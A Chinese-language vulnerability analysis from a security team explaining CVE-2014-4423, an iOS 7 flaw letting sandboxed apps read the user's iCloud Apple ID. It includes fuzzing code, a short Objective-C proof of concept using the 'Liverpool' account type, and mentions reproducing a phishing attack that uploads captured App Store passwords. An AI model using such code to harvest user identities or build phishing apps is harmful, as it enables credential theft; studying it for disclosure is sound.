• 文章/ARTICLE
  • CVE-2014-4423分析过程及结论
  • 360NirvanTeam 2015-12-20 2135

  前段时间“蒸米”在其博客上发布了文章“在非越狱的iPhone 6 (iOS 8.1.3) 上进行钓鱼攻击 (盗取App Store密码)”,看到文章后尝试复现整个流程。由于“蒸米”将整个流程描述的比较清楚,结合苹果的相关文档,很快就实现了后台运行、轮询检查 App 运行、远程弹出输入框、将用户输入上传服务器。但是有一个关键问题没有解决,即:CVE-2014-4423,在非越狱的设备上获取用户的 Apple ID。关于这个 CVE 目前公开的资料很少,下面就详细描述下这个 CVE 并给出 PoC。

 

官方描述

 

       在 iOS 8 的 Security Content 中,苹果对这个描述是:

 


Accounts
Available for: 
    iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: 
    A malicious application may be able to identify the Apple ID of the user
Description: 
    An issue existed in the access control logic for accounts. 
    A sandboxed application could get information about the currently-active iCloud account, 
    including the name of the account. 
    This issue was addressed by restricting access to certain account types from unauthorized applications.
CVE-ID
    CVE-2014-4423 : Adam Weaver

 

        从上面并没有得到太多信息,接着又查看 NVD 上面的描述:

 


The Accounts subsystem in Apple iOS before 8 
allows attackers to bypass a sandbox protection mechanism 
and obtain an active iCloud account's Apple ID 
and metadata via a crafted application.

 

账户系统

 

       上面的描述中都提到了Account,这就给我们确定了一个大概范围即:账户系统。

        通过逆向分析可以知道账户系统的模块构成及工作流程。账户系统主要由四个模块构成:

        1、应用程序;

        2、Accounts.framework;

        3、accountsd 服务;

        4、AccountsDaemon.framework

        其中 accountsd 主要是将 AccountsDaemon.framework 封装成一个服务,主要的逻辑都在 AccountsDaemon.framework 中。

        账户系统的工作流程大致为:应用程序通过 Accounts.framework 提供的接口向 accountsd 服务请求账户信息,accountsd 服务接到请求后通过调用 AccountsDaemon.framework 的相关接口进行权限判断并将相关信息返回给应用程序。

 

定位方法

 

        通过对账户系统工作流程的分析,现在我们基本可以确定出问题的模块为:AccountsDaemon.framework,接下来就是要定位具体部分代码出问题了。

这个问题已经在 iOS 8 中修复了,因此很容易想到对比这个库在 iOS 7.1.2 与 iOS 8.0 下有什么不同。但是实际操作发现 AccountsDaemon.framework 在 iOS 7.1.2 与 iOS 8.0 下差别还比较大,通过这种方式定位出问题的代码工作量太大。

        既然对比的方法工作量太大,那么我们就在越狱的 iOS 7.x 设备上对账户系统做模糊测试,测试方法为:

       1、首先需要为我们的测试程序授予访问所有账户的权限,即在签名时增加账户相关的权限:

 


<key>com.apple.private.accounts.allaccounts</key>
<true/>

 

        2、获取到所有的账户类型。

        3、迭代账户类型获取信息。

        4、然后将重新签名,去掉账户相关的权限,对比输出的变化。

 

测试代码为:

 


void AccountsTest()
{
    ACAccountStore *acStore = [[[ACAccountStore alloc] initWithEffectiveBundleID:@"com.apple.accountsd"] autorelease];
    
    NSArray *acTypes = [acStore allAccountTypes];
    for (ACAccountType *accountType in acTypes) {
        NSArray *accounts = [acStore accountsWithAccountType:accountType];
        if (accounts.count != 0) {
            ACAccount *ac = accounts[0];
            NSLog(@"--->%@", ac);
        }
    }
}

 

        通过对比输出发现,当账户类型为 com.apple.account.Liverpool 时即使不签入苹果的权限也可以获取到当前的 iClound 账户名。又在非越狱的 iOS 7.1.2 设备上进行了验证,问题同样存在,但在 iOS 8 的设备上问题不存在。可以确定在 iOS 7.x 的设备上 iCloud 账户信息是通过 com.apple.account.Liverpool 账户类型泄露出来的。

 

问题总结及 PoC

 

        通过测试发现在 iOS 7.x 的设备上,只要用户登录了 iCloud(可以不登录 AppStore),即使在设置中将 iCloud 账号的所有权限都关闭,恶意程序仍然可以获取到 iCloud 账户的用户名。

        PoC 如下:

 


- (NSString *)getLeakedID
{
    ACAccountStore *acStore = [[[ACAccountStore alloc] init] autorelease];
    
    NSString *accountID = @"com.apple.account.Liverpool";
    ACAccountType *accountType = [acStore accountTypeWithAccountTypeIdentifier:accountID];
    NSArray *accounts = [acStore accountsWithAccountType:accountType];
    if (accounts.count == 0) {
        return @"not_leaked";
    }
    
    ACAccount *ac = accounts[0];
    NSString *acName = ac.username;
    
    return acName;
}

 

 

具体原因

 

        通过调试我们可以定位到出问题的函数为:

        -[ACDAccountStoreFilter _isClientPermittedToAccessAccountTypeWithIdentifier:]

        通过对比这个函数在 iOS 7.1.2 及 iOS 8.0 下的不同,我们发现在账户类型为 com.apple.account.Liverpool 时,如上的函数根本不进行权限验证,直接放过。具体流程见下图:

 

给用户的建议

 

        1、尽量将设备升级到最新的系统。

 

视频演示

 

—————————————————

Proteas of Qihoo 360 Nirvan Team

2015/3/20